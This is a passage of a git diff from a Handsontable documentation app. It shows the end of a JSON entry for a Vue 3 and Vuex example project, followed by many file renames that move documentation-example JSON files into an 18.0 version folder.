install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"vuex\": \"4.1.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/getting-started/vue3-vuex/vue/example1.vue","breadcrumb":["Getting Started","Vuex state management"],"guide":"guides/getting-started/vue3-vuex/vue3-vuex.md","guideTitle":"Vuex state management","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/vue-vuex","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__language__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__language__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__language__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__language__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__language__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__language__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__language__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__language__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__language__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__language__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__language__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__language__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__language__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__language__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__language__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__language__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__language__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__language__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__language__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__language__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__angular__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__angular__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__angular__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example5.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example5.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example5.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__javascript__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__javascript__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__react__example5.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__react__example5.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__react__example5.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__vue__example5.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__internationalization__layout-direction__vue__example5.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__internationalization__layout-direction__vue__example5.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__focus-scopes__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__focus-scopes__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__navigation__searching-values__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__navigation__searching-values__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__optimization__batch-operations__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__optimization__batch-operations__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__optimization__batch-operations__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__optimization__batch-operations__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__optimization__batch-operations__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__optimization__batch-operations__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__optimization__batch-operations__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__optimization__batch-operations__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__optimization__batch-operations__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__optimization__batch-operations__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__optimization__batch-operations__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__optimization__batch-operations__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__optimization__batch-operations__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__optimization__batch-operations__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__optimization__batch-operations__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__optimization__batch-operations__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__optimization__batch-operations__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__optimization__batch-operations__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__optimization__batch-operations__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__optimization__batch-operations__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-freezing__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-freezing__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-freezing__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-freezing__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-freezing__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-freezing__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-freezing__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-freezing__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-freezing__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-freezing__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-freezing__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-freezing__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-freezing__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-freezing__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-freezing__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-freezing__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-freezing__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-freezing__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-freezing__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-freezing__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-header__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-header__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-header__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-header__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-header__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-header__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-header__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-header__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-header__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-header__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-header__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-header__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-header__vue__example1.vue.json 